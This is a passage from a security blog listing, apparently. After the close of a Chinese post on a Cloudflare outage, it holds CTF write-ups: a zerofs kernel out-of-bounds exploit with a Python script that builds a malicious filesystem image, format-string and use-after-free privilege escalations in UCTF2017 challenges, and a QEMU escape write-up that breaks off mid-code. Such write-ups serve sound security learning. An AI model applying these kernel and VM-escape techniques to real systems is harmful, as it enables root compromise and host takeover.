<li>演练暴露出来的缺口,都应该复盘更新到 SOP 里。</li>
</ul>
</li>
</ol>
<h2 id="4-写在最后"><a href="#4-写在最后" class="headerlink" title="4. 写在最后"></a>4. 写在最后</h2><p>首先要给 Cloudflare 点个赞:愿意把问题摊开、把细节讲清楚,是一种非常好的文化。对我们这些旁观者来说,这样的复盘既能照出问题,也能当作一次很好的演练材料。</p>
<p>在这种上下游链路极其复杂的系统里,一条变更真正会影响什么,很难提前预判。跨部门变更管理、观测、响应尤为重要。这类跨域风险,往往需要横向团队做中枢。</p>
<p>尤其是对偏上游的同学来说,比如安全运营、策略平台,日常做的很多事情看上去只是“调一条规则”“收紧一点权限”,但站在全局视角,往往就是高风险动作。不要把配置、权限、策略当成理所当然“安全”的东西。如何在团队里把风险意识、影响面判断、事前预案这些东西沉淀成可复制的能力,而不是只靠少数人的经验,需要长期系统性地建设。</p>
<p>
<a
href="/uncategorized/cloudflare-nov-18-outage-change-perspective/#post-footer"
class="postShorten-excerpt_link link"
aria-label=""
>
Comment and share
</a>
</p>
</div>
</div>
</article>
<article class="postShorten postShorten--thumbnailimg-bottom">
<div class="postShorten-wrap">
<div class="postShorten-header">
<h1 class="postShorten-title">
<a
class="link-unstyled"
href="/writeups/0ctf-2018-zerofs-writeup/"
aria-label=": 0CTF2018 zerofs Writeup"
>
0CTF2018 zerofs Writeup
</a>
</h1>
<div class="postShorten-meta">
<time datetime="2018-04-03T00:15:39+08:00">
Apr 03, 2018
</time>
<span>in </span>
<a class="category-link" href="/categories/writeups/">writeups</a>
</div>
</div>
<div class="postShorten-content">
<h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p><em>zerofs.ko</em> is a driver module of a custom filesystem.<br>The kernel and the module is compiled by randstruct plugin, which I found in the magic string – <code>vermagic=4.13.0 SMP mod_unload modversions</code>RANDSTRUCT_PLUGIN_3c73df5cc8285309b74c8a4caaf831205da45096402d3b1a80caab1d7fa1b03a`.<br><em>run.sh</em> and <em>/init</em> show that the kernel is protected by SMEP, SMAP, KASLR, kptr_restrict and dmesg_restrict.</p>
<h2 id="zerofs-ko"><a href="#zerofs-ko" class="headerlink" title="zerofs.ko"></a>zerofs.ko</h2><p>I found the module may be modified from <a href="https://github.com/psankar/simplefs" target="_blank" rel="noopener">simplefs</a> after the game.<br>By reversing <em>zerofs.ko</em>, I knew the blocksize is 4096 bits. The first block of the image is the superblock. It consists of magic, block_size, inode_count and free_blocks bitmap.</p>
<img src="/writeups/0ctf-2018-zerofs-writeup/zerofs_super_block.png" title="zerofs_super_block">
<p>The second block records all of the inodes in an array. <em>ino</em> is inode number, and dno is the block number of the image.</p>
<img src="/writeups/0ctf-2018-zerofs-writeup/zerofs_inode.png" title="zerofs_inode">
<p>There is a root inode which ino is 1. It indicates the root dictionary. There is a block corresponding to root dictionary to indicates files in the dictionary. It is an array of zerofs_dir_record structure. </p>
<img src="/writeups/0ctf-2018-zerofs-writeup/zerofs_dir_record.png" title="zerofs_dir_record">
<h2 id="Vulnerabilitie"><a href="#Vulnerabilitie" class="headerlink" title="Vulnerabilitie"></a>Vulnerabilitie</h2><p>There isn’t any bound or size check in read and write function.<br>If the filesize we set in image is bigger than blocksize(0x1000), there will be an out-of-bound read/write when invoking copy_to_user/copy_from_user.</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">unsigned</span> __int64 __fastcall <span class="title">zerofs_read</span><span class="params">(file *filp, <span class="keyword">char</span> *buf, <span class="keyword">size_t</span> len, <span class="keyword">loff_t</span> *ppos)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> ...</span><br><span class="line"> <span class="keyword">if</span> ( copy_to_user(buf, &bh0->b_data[*pos_1], len_1) ) <span class="comment">// OOB READ</span></span><br><span class="line"> {</span><br><span class="line"> ...</span><br><span class="line"> } </span><br><span class="line"> ...</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">ssize_t</span> __fastcall <span class="title">zerofs_write</span><span class="params">(file *filp, <span class="keyword">const</span> <span class="keyword">char</span> *buf, <span class="keyword">size_t</span> len, <span class="keyword">loff_t</span> *ppos)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> ...</span><br><span class="line"> <span class="keyword">if</span> ( copy_from_user(&bh0->b_data[*pos], buf, len_1) ) <span class="comment">// OOB WRITE</span></span><br><span class="line"> {</span><br><span class="line"> ...</span><br><span class="line"> }</span><br><span class="line"> ...</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<h2 id="Constructing-Image"><a href="#Constructing-Image" class="headerlink" title="Constructing Image"></a>Constructing Image</h2><p>To exploit the vulnerabilities, I need to construct an malicious image. Here is the script. I put a file named <em>666</em> with size of 0xffffffffffffffff.</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python2</span></span><br><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">block0 = p64(<span class="number">0x4F52455A</span>) + p64(<span class="number">4096</span>) + p64(<span class="number">3</span>) + p64(<span class="number">0xffffffff</span> ^ <span class="number">0x7</span>)</span><br><span class="line">block0 = block0.ljust(<span class="number">0x1000</span>, <span class="string">'\x00'</span>)</span><br><span class="line"></span><br><span class="line">block1 = <span class="string">''</span></span><br><span class="line">inode1 = p64(<span class="number">1</span>) + p64(<span class="number">2</span>) + p64(<span class="number">0x4000</span>) + p64(<span class="number">0x1</span>)</span><br><span class="line">inode2 = p64(<span class="number">2</span>) + p64(<span class="number">3</span>) + p64(<span class="number">0x8000</span>) + p64(<span class="number">0xffffffffffffffff</span>)</span><br><span class="line">block1 += inode1 + inode2</span><br><span class="line">block1 = block1.ljust(<span class="number">0x1000</span>, <span class="string">'\x00'</span>)</span><br><span class="line"></span><br><span class="line">block2 = <span class="string">''</span></span><br><span class="line">block2 += <span class="string">'666'</span>.ljust(<span class="number">256</span>, <span class="string">'\x00'</span>)</span><br><span class="line">block2 += p64(<span class="number">2</span>)</span><br><span class="line">block2 = block2.ljust(<span class="number">0x1000</span>, <span class="string">'\x00'</span>)</span><br><span class="line"></span><br><span class="line">img = block0 + block1 + block2 + <span class="string">'\x30'</span> * <span class="number">0x1000</span> * <span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> open(<span class="string">'fs/tmp/zerofs.img'</span>, <span class="string">'wb'</span>) <span class="keyword">as</span> f:</span><br><span class="line"> f.write(img)</span><br></pre></td></tr></table></figure>
<h2 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h2><p>After mounting the image, I could trigger out-of-bound read by read the file <em>666</em>.<br>I tried to find CRED struct in leaked memory. Fortunately, I found some by searching the uid. It took me some time to locate CRED struct because of the radomization of structures.</p>
<p>I still didn’t know which CRED is valid and which process the CRED belongs to although I could find some CRED structures. The exploit is not stable, so I run the exploit serval times. After leaking the memory, the exploit will check if it gets root privilege in a loop. If so, it invokes <code>system("sha256sum /root/flag");</code>.</p>
<p>The last step is to write the CRED. I invoked llseek to set offset to the CRED, and invoked write to modify the CRED, setting uid to 0.</p>
<p>Here is the <a href="https://gist.github.com/Eadom/29f8627d428a90842a99b2c176d4789a" target="_blank" rel="noopener">expliot</a></p>
<img src="/writeups/0ctf-2018-zerofs-writeup/get_flag.png" title="get_flag">
<p>
<a
href="/writeups/0ctf-2018-zerofs-writeup/#post-footer"
class="postShorten-excerpt_link link"
aria-label=""
>
Comment and share
</a>
</p>
</div>
</div>
</article>
<article class="postShorten postShorten--thumbnailimg-bottom">
<div class="postShorten-wrap">
<div class="postShorten-header">
<h1 class="postShorten-title">
<a
class="link-unstyled"
href="/writeups/uctf-2017-quals-pwn-writeup/"
aria-label=": UCTF2017 初赛 PWN题 Writeup"
>
UCTF2017 初赛 PWN题 Writeup
</a>
</h1>
<div class="postShorten-meta">
<time datetime="2017-07-10T16:44:39+08:00">
Jul 10, 2017
</time>
<span>in </span>
<a class="category-link" href="/categories/writeups/">writeups</a>
</div>
</div>
<div class="postShorten-content">
<blockquote>
<p>题目中上,但各种乱象毁了这个比赛。</p>
</blockquote>
<h2 id="NotFormat"><a href="#NotFormat" class="headerlink" title="NotFormat"></a>NotFormat</h2><h3 id="概览"><a href="#概览" class="headerlink" title="概览"></a>概览</h3><p>程序是静态链接的,利用缓解机制只启用了NX,程序只是一个简单的读取输入并返回。</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">$</span> checksec NotFormat</span><br><span class="line"> Arch: amd64-64-little</span><br><span class="line"> RELRO: Partial RELRO</span><br><span class="line"> Stack: No canary found</span><br><span class="line"> NX: NX enabled</span><br><span class="line"> PIE: No PIE</span><br></pre></td></tr></table></figure>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">$</span> ./NotFormat</span><br><span class="line">Have fun!</span><br><span class="line">test</span><br><span class="line">test</span><br></pre></td></tr></table></figure>
<h3 id="漏洞"><a href="#漏洞" class="headerlink" title="漏洞"></a>漏洞</h3><p>程序main函数很短,如下</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">double</span> v8; <span class="comment">// xmm4_8@1</span></span><br><span class="line"> <span class="keyword">double</span> v9; <span class="comment">// xmm5_8@1</span></span><br><span class="line"> <span class="keyword">char</span> buf[<span class="number">264</span>]; <span class="comment">// [rsp+0h] [rbp-110h]@1</span></span><br><span class="line"> __int64 v11; <span class="comment">// [rsp+108h] [rbp-8h]@1</span></span><br><span class="line"></span><br><span class="line"> v11 = *MK_FP(__FS__, <span class="number">40L</span>L);</span><br><span class="line"> setvbuf((<span class="keyword">int</span> *)off_6CB740, <span class="number">0L</span>L, <span class="number">2</span>, <span class="number">0L</span>L);</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"Have fun!"</span>);</span><br><span class="line"> read_line(buf);</span><br><span class="line"> <span class="built_in">printf</span>(buf, <span class="number">0L</span>L);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">0L</span>L);</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>存在一个很明显的格式化字符串漏洞。</p>
<h3 id="利用"><a href="#利用" class="headerlink" title="利用"></a>利用</h3><p>因为格式化字符串使用之后立即就调用exit退出了,所以目标是直接通过一次printf劫持控制流。</p>
<h4 id="控制RIP"><a href="#控制RIP" class="headerlink" title="控制RIP"></a>控制RIP</h4><p>我用到的是修改FILE *stdout结构的vtable到我们构造的位置。由于没有开启PIE,所以这些内容的位置都可以确定。</p>
<h4 id="栈迁移"><a href="#栈迁移" class="headerlink" title="栈迁移"></a>栈迁移</h4><p>当控制RIP之后,程序的栈的位置与我们输入内容的位置差距很大,但是正好找到这个gadget可以迁移到我们输入的buffer。</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">0x43f17d : ret 0x6b8</span><br></pre></td></tr></table></figure>
<p>ret之后正好会跳到0x0457fc1位置,实现栈迁移。</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">0x457fc1 : add rsp, 0x2120 ; mov eax, r12d ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; re</span><br></pre></td></tr></table></figure>
<p>之后可以再次调用read,并再次迁移到一个大buffer。最后调用<code>execve("/bin/sh", 0, 0)</code></p>
<p><a href="https://gist.github.com/Eadom/9be3d15affa56ae96b72bcdbdefbce34" target="_blank" rel="noopener">uctf2017_notformat.py</a></p>
<h2 id="babydriver"><a href="#babydriver" class="headerlink" title="babydriver"></a>babydriver</h2><h3 id="概览-1"><a href="#概览-1" class="headerlink" title="概览"></a>概览</h3><p>这是一个简单的驱动题,只开启了SMEP(貌似也用不到……)。</p>
<p>提供了<code>/dev/babydriver</code>设备:</p>
<ul>
<li>read/write操作可以将buf从<code>babydev_struct.device_buf</code>读取或写入,长度限制为<code>babydev_struct.device_buf_len</code>。</li>
<li>ioctl的cmd为0x10001时可以对<code>babydev_struct.device_buf</code>重新分配。</li>
<li>close时会将<code>babydev_struct.device_buf</code>释放。</li>
</ul>
<h3 id="漏洞-1"><a href="#漏洞-1" class="headerlink" title="漏洞"></a>漏洞</h3><p>一个最明显的漏洞是<code>babydev_struct</code>是一个全局变量,所有的文件描述符都共享一个<code>babydev_struct</code>,当一个文件描述符被调用close时,<code>babydev_struct.device_buf</code>会被释放。当其他未关闭的文件描述符调用时,会触发UAF,可以对一段内核空间进行读写。</p>
<h3 id="利用-1"><a href="#利用-1" class="headerlink" title="利用"></a>利用</h3><p>当device_buf被释放掉后,这个指针成为悬空指针,扔可以进行读写,这时候希望可以有一个结构被申请然后占到原来的这个位置。最直观的想法就是如果能有cred结构直接占上来,然后就可以对cred内容修改,达到获取root权限的目的。</p>
<p>cred结构如下</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">cred</span> {</span></span><br><span class="line"> <span class="keyword">atomic_t</span> usage;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">ifdef</span> CONFIG_DEBUG_CREDENTIALS</span></span><br><span class="line"> <span class="keyword">atomic_t</span> subscribers; <span class="comment">/* number of processes subscribed */</span></span><br><span class="line"> <span class="keyword">void</span> *put_addr;</span><br><span class="line"> <span class="keyword">unsigned</span> magic;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> CRED_MAGIC 0x43736564</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> CRED_MAGIC_DEAD 0x44656144</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line"> <span class="keyword">kuid_t</span> uid; <span class="comment">/* real UID of the task */</span></span><br><span class="line"> <span class="keyword">kgid_t</span> gid; <span class="comment">/* real GID of the task */</span></span><br><span class="line"> <span class="keyword">kuid_t</span> suid; <span class="comment">/* saved UID of the task */</span></span><br><span class="line"> <span class="keyword">kgid_t</span> sgid; <span class="comment">/* saved GID of the task */</span></span><br><span class="line"> <span class="keyword">kuid_t</span> euid; <span class="comment">/* effective UID of the task */</span></span><br><span class="line"> <span class="keyword">kgid_t</span> egid; <span class="comment">/* effective GID of the task */</span></span><br><span class="line"> <span class="keyword">kuid_t</span> fsuid; <span class="comment">/* UID for VFS ops */</span></span><br><span class="line"> <span class="keyword">kgid_t</span> fsgid; <span class="comment">/* GID for VFS ops */</span></span><br><span class="line"> <span class="keyword">unsigned</span> securebits; <span class="comment">/* SUID-less security management */</span></span><br><span class="line"> <span class="keyword">kernel_cap_t</span> cap_inheritable; <span class="comment">/* caps our children can inherit */</span></span><br><span class="line"> <span class="keyword">kernel_cap_t</span> cap_permitted; <span class="comment">/* caps we're permitted */</span></span><br><span class="line"> <span class="keyword">kernel_cap_t</span> cap_effective; <span class="comment">/* caps we can actually use */</span></span><br><span class="line"> <span class="keyword">kernel_cap_t</span> cap_bset; <span class="comment">/* capability bounding set */</span></span><br><span class="line"> <span class="keyword">kernel_cap_t</span> cap_ambient; <span class="comment">/* Ambient capability set */</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">ifdef</span> CONFIG_KEYS</span></span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">char</span> jit_keyring; <span class="comment">/* default keyring to attach requested</span></span><br><span class="line"><span class="comment"> * keys to */</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">key</span> __<span class="title">rcu</span> *<span class="title">session_keyring</span>;</span> <span class="comment">/* keyring inherited over fork */</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">key</span> *<span class="title">process_keyring</span>;</span> <span class="comment">/* keyring private to this process */</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">key</span> *<span class="title">thread_keyring</span>;</span> <span class="comment">/* keyring private to this thread */</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">key</span> *<span class="title">request_key_auth</span>;</span> <span class="comment">/* assumed request_key authority */</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">ifdef</span> CONFIG_SECURITY</span></span><br><span class="line"> <span class="keyword">void</span> *security; <span class="comment">/* subjective LSM security */</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">user_struct</span> *<span class="title">user</span>;</span> <span class="comment">/* real user ID subscription */</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">user_namespace</span> *<span class="title">user_ns</span>;</span> <span class="comment">/* user_ns the caps and keyrings are relative to. */</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">group_info</span> *<span class="title">group_info</span>;</span> <span class="comment">/* supplementary groups for euid/fsgid */</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">rcu_head</span> <span class="title">rcu</span>;</span> <span class="comment">/* RCU deletion hook */</span></span><br><span class="line">};</span><br></pre></td></tr></table></figure>
<p>它的大小是0xa8。于是利用的步骤如下:</p>
<ol>
<li>open两个fd,fd1及fd2。通过ioctl设置device_buf为0xa8大小。</li>
<li>close(fd1),device_buf指针被释放。</li>
<li>现在可以通过fd2继续操作device_buf指向的内容。</li>
<li>通过fork一堆进程试图在申请cred结构的时候占到device_buf指向的位置。</li>
<li>修改占上的cred,获取root。 </li>
</ol>
<p>做的时候粗暴地试试结果发现就可以占上了……然后粗暴的把ctf用户的所有的id为0x3e8的都改成了0。</p>
<p><a href="https://gist.github.com/Eadom/c88f1eab2853281583aab150382ec710" target="_blank" rel="noopener">uctf2017_babydriver.py</a></p>
<p>P.S. 出题时希望可以把网卡驱动带进去,不然传程序进去也挺麻烦……</p>
<p>
<a
href="/writeups/uctf-2017-quals-pwn-writeup/#post-footer"
class="postShorten-excerpt_link link"
aria-label=""
>
Comment and share
</a>
</p>
</div>
</div>
</article>
<article class="postShorten postShorten--thumbnailimg-bottom">
<div class="postShorten-wrap">
<div class="postShorten-header">
<h1 class="postShorten-title">
<a
class="link-unstyled"
href="/writeups/qemu-escape-vm-escape-from-0ctf-2017-finals-writeup/"
aria-label=": QEMU Escape --- vm_escape from 0CTF 2017 Finals Writeup"
>
QEMU Escape --- vm_escape from 0CTF 2017 Finals Writeup
</a>
</h1>
<div class="postShorten-meta">
<time datetime="2017-06-16T00:04:14+08:00">
Jun 16, 2017
</time>
<span>in </span>
<a class="category-link" href="/categories/writeups/">writeups</a>
</div>
</div>
<div class="postShorten-content">
<p>It’s a great challenge to get familiar with QEMU escape. We are going to exploit QEMU via a custom vulnerable device.</p>
<p>You should read <a href="http://www.phrack.org/papers/vm-escape-qemu-case-study.html" target="_blank" rel="noopener">VM escape - QEMU Case Study</a> before reading this writeup.</p>
<h2 id="Challenge"><a href="#Challenge" class="headerlink" title="Challenge"></a>Challenge</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">challenge</span><br><span class="line">├── dependency</span><br><span class="line">│ ├── libnettle.so.6.2</span><br><span class="line">│ └── usr</span><br><span class="line">│ └── local</span><br><span class="line">│ └── share</span><br><span class="line">│ └── qemu</span><br><span class="line">│ ├── bios-256k.bin</span><br><span class="line">│ ├── efi-e1000.rom</span><br><span class="line">│ ├── kvmvapic.bin</span><br><span class="line">│ ├── linuxboot_dma.bin</span><br><span class="line">│ └── vgabios-stdvga.bin</span><br><span class="line">├── launch.sh</span><br><span class="line">├── qemu-system-x86_64</span><br><span class="line">├── rootfs.cpio</span><br><span class="line">└── vmlinuz-4.8.0-52-generic</span><br></pre></td></tr></table></figure>
<p>There is a <em>qemu-system-x86_64</em> binary with a launch script, a linux kernel, a initramfs and some dependencies.</p>
<p>We can get an interactive shell by executing <code>launch.sh</code>.</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"> __ __ _____________ __ __ ___ ____</span><br><span class="line"> / //_// ____/ ____/ | / / / / / | / __ )</span><br><span class="line"> / ,< / __/ / __/ / |/ / / / / /| | / __ |</span><br><span class="line"> / /| |/ /___/ /___/ /| / / /___/ ___ |/ /_/ /</span><br><span class="line">/_/ |_/_____/_____/_/ |_/ /_____/_/ |_/_____/</span><br><span class="line"></span><br><span class="line">Welcome to Tencent Keenlab</span><br><span class="line">Tencent login: root</span><br><span class="line"># uname -r</span><br><span class="line">4.8.0-52-generic</span><br><span class="line">#</span><br></pre></td></tr></table></figure>
<h2 id="The-custom-vulnerable-device"><a href="#The-custom-vulnerable-device" class="headerlink" title="The custom vulnerable device"></a>The custom vulnerable device</h2><p><em>luanch.sh</em> shows there are two custom device named <em>vdd</em>.</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">$</span> ./qemu-system-x86_64 -device help 2>&1 | grep VDD</span><br><span class="line">name "VDD", bus PCI, desc "KeenLab virtualized Devices For Testing D"</span><br></pre></td></tr></table></figure>
<p>we can use some commands to find these devices and their io port/memroy.</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#</span> lspci</span><br><span class="line">00:00.0 Class 0600: 8086:1237</span><br><span class="line">00:01.3 Class 0680: 8086:7113</span><br><span class="line">00:03.0 Class 0200: 8086:100e</span><br><span class="line">00:01.1 Class 0101: 8086:7010</span><br><span class="line">00:02.0 Class 0300: 1234:1111</span><br><span class="line">00:05.0 Class 00ff: 1234:2333</span><br><span class="line">00:01.0 Class 0601: 8086:7000</span><br><span class="line">00:04.0 Class 00ff: 1234:2333</span><br><span class="line"><span class="meta">#</span> cat /proc/iomem</span><br><span class="line">...</span><br><span class="line"> fe900000-fe9fffff : 0000:00:04.0</span><br><span class="line"> fea00000-feafffff : 0000:00:05.0</span><br><span class="line">...</span><br><span class="line"><span class="meta">#</span> cat /proc/ioports</span><br><span class="line">...</span><br><span class="line"> c000-c0ff : 0000:00:04.0</span><br><span class="line"> c100-c1ff : 0000:00:05.0</span><br><span class="line">...</span><br></pre></td></tr></table></figure>
<h3 id="OOBW"><a href="#OOBW" class="headerlink" title="OOBW"></a>OOBW</h3><p>In <code>vdd_mmio_write</code>, there is a out-of-bound write vulnerability which copys QEMU heap memory to guset physical memory when we set <code>dma_len</code> larger than <code>sizeof(dam_buf)</code>.</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> __fastcall <span class="title">vdd_mmio_write</span><span class="params">(TencentPCIState *opaque, hwaddr addr, <span class="keyword">uint64_t</span> val, <span class="keyword">unsigned</span> <span class="keyword">int</span> size)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">int64_t</span> v4; <span class="comment">// rax@21</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> ( opaque->dma_state )</span><br><span class="line"> {</span><br><span class="line"> ...</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">switch</span> ( addr )</span><br><span class="line"> {</span><br><span class="line"> ...</span><br><span class="line"> <span class="keyword">case</span> <span class="number">32u</span>LL:</span><br><span class="line"> ((<span class="keyword">void</span> (__fastcall *)(<span class="keyword">char</span> *, <span class="keyword">dma_addr_t</span>, _QWORD))opaque->dma_state->phys_mem_write)(</span><br><span class="line"> opaque->dma_buf,</span><br><span class="line"> opaque->dma_state->dst,</span><br><span class="line"> opaque->dma_len); <span class="comment">// OOB write</span></span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> ...</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<h3 id="UAF"><a href="#UAF" class="headerlink" title="UAF"></a>UAF</h3><p>Also in <code>vdd_mmio_write</code>, if <code>addr == 128</code> and <code>opaque->sr[129] & 1 != 0</code>, we can set a timer which will execute <code>vdd_dma_timer</code> after <code>opaque->expire_time</code> ns.</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> __fastcall <span class="title">vdd_mmio_write</span><span class="params">(TencentPCIState *opaque, hwaddr addr, <span class="keyword">uint64_t</span> val, <span class="keyword">unsigned</span> <span class="keyword">int</span> size)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">int64_t</span> v4; <span class="comment">// rax@21</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> ( opaque->dma_state )</span><br><span class="line"> {</span><br><span class="line"> ...</span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span> ( addr > <span class="number">0x24</span> )</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> ( addr == <span class="number">128</span> )</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> ( opaque->sr[<span class="number">129</span>] & <span class="number">1</span> )</span><br><span class="line"> {</span><br><span class="line"> v4 = 